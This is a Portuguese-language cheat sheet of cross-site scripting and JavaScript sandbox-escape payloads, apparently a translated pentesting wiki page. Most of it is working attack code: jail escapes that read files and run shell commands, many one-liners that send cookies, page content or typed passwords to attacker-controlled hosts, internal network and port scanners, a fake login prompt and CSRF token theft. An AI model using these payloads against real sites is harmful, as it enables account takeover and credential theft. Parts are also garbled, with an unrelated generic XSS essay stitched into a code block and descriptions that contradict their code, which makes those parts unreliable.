(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||
|
||
* text/html
|
||
* application/xhtml+xml
|
||
* application/xml
|
||
* text/xml
|
||
* image/svg+xml
|
||
* text/plain (?? não está na lista, mas acho que vi isso em um CTF)
|
||
* application/rss+xml (desativado)
|
||
* application/atom+xml (desativado)
|
||
|
||
Em outros navegadores, outros **`Tipos de Conteúdo`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||
|
||
### Tipo de Conteúdo xml
|
||
|
||
Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário:
|
||
```xml
|
||
<xml>
|
||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||
</xml>
|
||
|
||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||
```
|
||
### Padrões Especiais de Substituição
|
||
|
||
Quando algo como **`"alguns dados {{template}}".replace("{{template}}", <user_input>)`** é usado. O atacante pode usar [**substituições especiais de string**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||
|
||
Por exemplo, neste [**artigo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
|
||
|
||
### Chrome Cache para XSS
|
||
|
||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Escapando de XS Jails
|
||
|
||
Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas de XSJail:
|
||
```javascript
|
||
// eval + unescape + regex
|
||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
|
||
|
||
// use of with
|
||
with(console)log(123)
|
||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
||
// Just replace console.log(1) to the real code, the code we want to run is:
|
||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||
|
||
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
|
||
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
||
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
||
|
||
//Final solution
|
||
with(
|
||
/with(String)
|
||
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
|
||
with(mainModule)
|
||
with(require(k))
|
||
return(String(readFileSync(n)))
|
||
/)
|
||
with(this)
|
||
with(constructor)
|
||
constructor(source)()
|
||
|
||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||
```
|
||
Se **tudo é indefinido** antes de executar código não confiável (como neste [**artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código arbitrário não confiável:
|
||
|
||
* Usando import()
|
||
```javascript
|
||
// although import "fs" doesn’t work, import('fs') does.
|
||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||
```
|
||
* Acessando `require` indiretamente
|
||
|
||
[De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, como mostrado abaixo:
|
||
```javascript
|
||
(function (exports, require, module, __filename, __dirname) {
|
||
// our actual module code
|
||
});
|
||
```
|
||
Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: 
|
||
|
||
{% code overflow="wrap" %}
|
||
```javascript
|
||
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
||
```
|
||
{% endcode %}
|
||
|
||
De forma semelhante ao exemplo anterior, é possível **usar manipuladores de erros** para acessar o **invólucro** do módulo e obter a função **`require`**:
|
||
```javascript
|
||
try {
|
||
null.f()
|
||
} catch (e) {
|
||
TypeError = e.constructor
|
||
}
|
||
Object = {}.constructor
|
||
String = ''.constructor
|
||
Error = TypeError.prototype.__proto__.constructor
|
||
function CustomError() {
|
||
const oldStackTrace = Error.prepareStackTrace
|
||
try {
|
||
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
|
||
Error.captureStackTrace(this)
|
||
this.stack
|
||
} finally {
|
||
Error.prepareStackTrace = oldStackTrace
|
||
}
|
||
}
|
||
function trigger() {
|
||
const err = new CustomError()
|
||
console.log(err.stack[0])
|
||
for (const x of err.stack) {
|
||
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
|
||
const fn = x.getFunction()
|
||
console.log(String(fn).slice(0, 200))
|
||
console.log(fn?.arguments)
|
||
console.log('='.repeat(40))
|
||
if ((args = fn?.arguments)?.length > 0) {
|
||
req = args[1]
|
||
console.log(req('child_process').execSync('id').toString())
|
||
}
|
||
}
|
||
}
|
||
trigger()
|
||
```
|
||
### Ofuscação e Bypass Avançado
|
||
|
||
* **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||
* JSFuck mais sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||
```javascript
|
||
//Katana
|
||
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
|
||
```
|
||
|
||
```javascript
|
||
//JJencode
|
||
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
|
||
```
|
||
|
||
```javascript
|
||
//JSFuck
|
||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||
|
||
```javascript
|
||
//aaencode
|
||
# XSS (Cross-Site Scripting)
|
||
|
||
## Descrição
|
||
|
||
O XSS (Cross-Site Scripting) é uma vulnerabilidade comum em aplicações web que permite que um atacante injete scripts maliciosos em páginas web visualizadas por outros usuários. Esses scripts podem ser usados para roubar informações confidenciais, como cookies de autenticação, redirecionar o usuário para sites maliciosos ou executar ações indesejadas em nome do usuário.
|
||
|
||
Existem três tipos principais de XSS:
|
||
|
||
1. **Reflected XSS**: O payload malicioso é incluído na solicitação HTTP e é refletido de volta na resposta HTML.
|
||
2. **Stored XSS**: O payload malicioso é armazenado no servidor e é exibido para todos os usuários que acessam a página afetada.
|
||
3. **DOM-based XSS**: O payload malicioso é injetado no DOM (Modelo de Objeto de Documento) e é executado no lado do cliente.
|
||
|
||
## Como explorar o XSS
|
||
|
||
Para explorar uma vulnerabilidade de XSS, um atacante precisa identificar um ponto de entrada onde o código injetado não é devidamente sanitizado ou escapado. Alguns exemplos comuns de pontos de entrada incluem campos de formulário, URLs, cabeçalhos HTTP e cookies.
|
||
|
||
Uma vez identificado o ponto de entrada, o atacante pode inserir um payload malicioso contendo código JavaScript. Esse código será executado no contexto do usuário que visualiza a página, permitindo que o atacante execute ações indesejadas.
|
||
|
||
## Prevenção do XSS
|
||
|
||
Para prevenir ataques de XSS, é importante implementar práticas de segurança adequadas, como:
|
||
|
||
- **Sanitização de entrada**: Certifique-se de que todos os dados de entrada sejam devidamente sanitizados e escapados antes de serem exibidos em páginas web.
|
||
- **Validação de entrada**: Verifique se os dados de entrada atendem aos critérios esperados antes de processá-los.
|
||
- **Utilização de cabeçalhos de segurança**: Configure cabeçalhos HTTP, como o Content-Security-Policy, para restringir o carregamento de scripts de fontes não confiáveis.
|
||
- **Codificação correta**: Use funções de codificação adequadas ao exibir dados em páginas web, como htmlspecialchars() em PHP ou encodeURI() em JavaScript.
|
||
|
||
## Exemplo de Payload de XSS
|
||
|
||
O seguinte exemplo demonstra um payload de XSS básico:
|
||
|
||
```html
|
||
<script>
|
||
alert('Este é um ataque de XSS!');
|
||
// Mais código malicioso aqui...
|
||
</script>
|
||
```
|
||
|
||
Este código injeta um script malicioso na página, exibindo um alerta com a mensagem "Este é um ataque de XSS!". O atacante pode modificar esse payload para realizar ações mais prejudiciais, como roubar informações confidenciais ou redirecionar o usuário para um site malicioso.
|
||
|
||
## Conclusão
|
||
|
||
O XSS é uma vulnerabilidade séria que pode ter consequências graves para a segurança de uma aplicação web e seus usuários. É essencial implementar práticas de segurança adequadas para prevenir ataques de XSS e proteger os dados sensíveis dos usuários.
|
||
|
||
```javascript
|
||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||
```
|
||
## XSS payloads comuns
|
||
|
||
### Vários payloads em 1
|
||
|
||
{% content-ref url="steal-info-js.md" %}
|
||
[steal-info-js.md](steal-info-js.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Recuperar Cookies
|
||
```javascript
|
||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
|
||
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
|
||
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
|
||
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
|
||
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
|
||
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
|
||
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
|
||
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
|
||
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||
```
|
||
{% hint style="info" %}
|
||
Você **não conseguirá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte o suficiente.
|
||
{% endhint %}
|
||
|
||
### Roubar Conteúdo da Página
|
||
```javascript
|
||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
||
var attacker = "http://10.10.14.8/exfil";
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||
}
|
||
}
|
||
xhr.open('GET', url, true);
|
||
xhr.send(null);
|
||
```
|
||
### Encontrar IPs internos
|
||
|
||
Durante um teste de penetração, é importante identificar os endereços IP internos de um sistema. Essas informações podem ser úteis para explorar vulnerabilidades específicas ou realizar ataques direcionados.
|
||
|
||
Existem várias maneiras de encontrar os IPs internos de um sistema:
|
||
|
||
1. **Ping Sweep**: Use uma ferramenta como o `nmap` para realizar um ping sweep na rede. Isso envia pacotes ICMP para uma faixa de endereços IP e identifica quais estão ativos. Os IPs que respondem ao ping são os IPs internos.
|
||
|
||
Exemplo de comando:
|
||
```
|
||
nmap -sn 192.168.0.0/24
|
||
```
|
||
|
||
2. **ARP Scanning**: Use uma ferramenta como o `arp-scan` para enviar solicitações ARP para a rede e obter uma lista de IPs e endereços MAC correspondentes. Os IPs que possuem endereços MAC associados são os IPs internos.
|
||
|
||
Exemplo de comando:
|
||
```
|
||
arp-scan --localnet
|
||
```
|
||
|
||
3. **DNS Lookup**: Realize uma pesquisa de DNS reverso para obter os nomes de host associados aos endereços IP. Isso pode revelar informações sobre os sistemas internos.
|
||
|
||
Exemplo de comando:
|
||
```
|
||
nslookup 192.168.0.1
|
||
```
|
||
|
||
É importante lembrar que a identificação de IPs internos deve ser feita com permissão e apenas em sistemas que você está autorizado a testar.
|
||
```html
|
||
<script>
|
||
var q = []
|
||
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
|
||
var wait = 2000
|
||
var n_threads = 51
|
||
|
||
// Prepare the fetchUrl functions to access all the possible
|
||
for(i=1;i<=255;i++){
|
||
q.push(
|
||
function(url){
|
||
return function(){
|
||
fetchUrl(url, wait);
|
||
}
|
||
}('http://192.168.0.'+i+':8080'));
|
||
}
|
||
|
||
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
|
||
for(i=1; i<=n_threads; i++){
|
||
if(q.length) q.shift()();
|
||
}
|
||
|
||
function fetchUrl(url, wait){
|
||
console.log(url)
|
||
var controller = new AbortController(), signal = controller.signal;
|
||
fetch(url, {signal}).then(r=>r.text().then(text=>
|
||
{
|
||
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
|
||
}
|
||
))
|
||
.catch(e => {
|
||
if(!String(e).includes("The user aborted a request") && q.length) {
|
||
q.shift()();
|
||
}
|
||
});
|
||
|
||
setTimeout(x=>{
|
||
controller.abort();
|
||
if(q.length) {
|
||
q.shift()();
|
||
}
|
||
}, wait);
|
||
}
|
||
</script>
|
||
```
|
||
### Scanner de Portas (fetch)
|
||
|
||
The `port_scanner_fetch.py` script is a simple port scanner that uses the `fetch` function from the `requests` library to send HTTP requests to a target host and port. It is designed to quickly scan a range of ports and determine if they are open or closed.
|
||
|
||
To use the script, you need to provide the target host and a list of ports to scan. The script will then iterate through the list of ports and send a GET request to each port on the target host. If a response is received, the port is considered open. If no response is received, the port is considered closed.
|
||
|
||
The script utilizes the `fetch` function from the `requests` library, which allows for asynchronous HTTP requests. This means that multiple requests can be sent simultaneously, making the scanning process faster.
|
||
|
||
To run the script, use the following command:
|
||
|
||
```
|
||
python port_scanner_fetch.py <target_host> <port1,port2,port3,...>
|
||
```
|
||
|
||
Replace `<target_host>` with the IP address or domain name of the target host, and `<port1,port2,port3,...>` with the list of ports you want to scan, separated by commas.
|
||
|
||
The script will then display the results, indicating which ports are open and which are closed.
|
||
|
||
**Note:** This script is intended for educational and testing purposes only. Unauthorized port scanning is illegal and can result in severe consequences. Always ensure that you have proper authorization before conducting any port scanning activities.
|
||
```javascript
|
||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||
```
|
||
### Scanner de Portas (websockets)
|
||
|
||
This tool is a simple port scanner that uses websockets to establish a connection with the target host and check for open ports. It can be used during a penetration test to identify potential entry points into a system.
|
||
|
||
#### Usage
|
||
|
||
To use the port scanner, follow these steps:
|
||
|
||
1. Install the required dependencies by running the following command:
|
||
|
||
```
|
||
npm install
|
||
```
|
||
|
||
2. Modify the `config.js` file to specify the target host and the range of ports to scan. For example:
|
||
|
||
```javascript
|
||
module.exports = {
|
||
target: 'example.com',
|
||
startPort: 1,
|
||
endPort: 1000
|
||
};
|
||
```
|
||
|
||
3. Run the scanner by executing the following command:
|
||
|
||
```
|
||
node scanner.js
|
||
```
|
||
|
||
The scanner will start scanning the specified range of ports on the target host. It will display the open ports as they are discovered.
|
||
|
||
#### Limitations
|
||
|
||
- This port scanner only supports websockets as the communication protocol.
|
||
- It may not be able to detect open ports if the target host has implemented measures to block port scanning activities.
|
||
- The accuracy of the results may vary depending on the network conditions and the target host's configuration.
|
||
|
||
#### Disclaimer
|
||
|
||
This tool is intended for educational and ethical use only. The author is not responsible for any misuse or damage caused by the tool. Always obtain proper authorization before conducting any penetration testing activities.
|
||
```python
|
||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||
for(var i=0; i<ports.length; i++) {
|
||
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
|
||
s.start = performance.now();
|
||
s.port = ports[i];
|
||
s.onerror = function() {
|
||
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
|
||
};
|
||
s.onopen = function() {
|
||
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
|
||
};
|
||
}
|
||
```
|
||
_Tempos curtos indicam uma porta respondendo_ _Tempos mais longos indicam falta de resposta._
|
||
|
||
Revise a lista de portas bloqueadas no Chrome [**aqui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e no Firefox [**aqui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||
|
||
### Caixa para solicitar credenciais
|
||
```markup
|
||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||
```
|
||
### Captura de preenchimento automático de senhas
|
||
|
||
Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications.
|
||
|
||
A captura de preenchimento automático de senhas é uma técnica utilizada para explorar vulnerabilidades de cross-site scripting (XSS) em aplicações web.
|
||
|
||
When a user visits a vulnerable website, the attacker injects malicious code that captures the user's saved passwords from the browser's auto-fill feature. This can be achieved by injecting JavaScript code that listens for changes in the input fields and sends the captured data to a remote server controlled by the attacker.
|
||
|
||
Quando um usuário visita um site vulnerável, o atacante injeta um código malicioso que captura as senhas salvas do usuário a partir do recurso de preenchimento automático do navegador. Isso pode ser alcançado através da injeção de código JavaScript que monitora as alterações nos campos de entrada e envia os dados capturados para um servidor remoto controlado pelo atacante.
|
||
|
||
To perform this attack, the attacker needs to identify a vulnerable input field where the auto-fill feature is enabled. This can be a login form, registration form, or any other form that requires user input. The attacker then crafts a malicious payload that exploits the XSS vulnerability and injects it into the vulnerable input field.
|
||
|
||
Para realizar esse ataque, o atacante precisa identificar um campo de entrada vulnerável onde o recurso de preenchimento automático esteja habilitado. Isso pode ser um formulário de login, formulário de registro ou qualquer outro formulário que exija entrada do usuário. O atacante então cria uma carga maliciosa que explora a vulnerabilidade XSS e a injeta no campo de entrada vulnerável.
|
||
|
||
When the victim interacts with the compromised input field, the malicious payload executes in their browser, capturing their saved passwords and sending them to the attacker's server. The attacker can then use these stolen credentials for further malicious activities, such as unauthorized access to the victim's accounts.
|
||
|
||
Quando a vítima interage com o campo de entrada comprometido, a carga maliciosa é executada em seu navegador, capturando suas senhas salvas e enviando-as para o servidor do atacante. O atacante pode então usar essas credenciais roubadas para atividades maliciosas adicionais, como acesso não autorizado às contas da vítima.
|
||
```javascript
|
||
<b>Username:</><br>
|
||
<input name=username id=username>
|
||
<b>Password:</><br>
|
||
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
|
||
method:'POST',
|
||
mode: 'no-cors',
|
||
body:username.value+':'+this.value
|
||
});">
|
||
```
|
||
Quando qualquer dado é inserido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas.
|
||
|
||
### Keylogger
|
||
|
||
Apenas pesquisando no github, encontrei alguns diferentes:
|
||
|
||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||
* Você também pode usar o metasploit `http_javascript_keylogger`
|
||
|
||
### Roubo de tokens CSRF
|
||
```javascript
|
||
<script>
|
||
var req = new XMLHttpRequest();
|
||
req.onload = handleResponse;
|
||
req.open('get','/email',true);
|
||
req.send();
|
||
function handleResponse() {
|
||
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
|
||
var changeReq = new XMLHttpRequest();
|
||
changeReq.open('post', '/email/change-email', true);
|
||
changeReq.send('csrf='+token+'&email=test@test.com')
|
||
};
|
||
</script>
|
||
```
|
||
### Roubo de mensagens PostMessage
|
||
|
||
O roubo de mensagens PostMessage é uma técnica de ataque que visa explorar vulnerabilidades de Cross-Site Scripting (XSS) para interceptar e roubar mensagens enviadas por meio do método PostMessage. Essa técnica é particularmente eficaz em cenários em que um site confiável permite a comunicação entre diferentes domínios por meio do uso do PostMessage.
|
||
|
||
#### Como funciona
|
||
|
||
1. O atacante injeta um código malicioso em um site vulnerável, aproveitando uma vulnerabilidade de XSS.
|
||
2. O código malicioso é executado no navegador do usuário quando ele visita o site comprometido.
|
||
3. O código malicioso monitora as mensagens enviadas por meio do método PostMessage.
|
||
4. Quando uma mensagem é enviada, o código malicioso intercepta e rouba o conteúdo da mensagem.
|
||
5. O conteúdo roubado pode ser usado para diversos fins maliciosos, como roubo de informações confidenciais ou execução de ações não autorizadas.
|
||
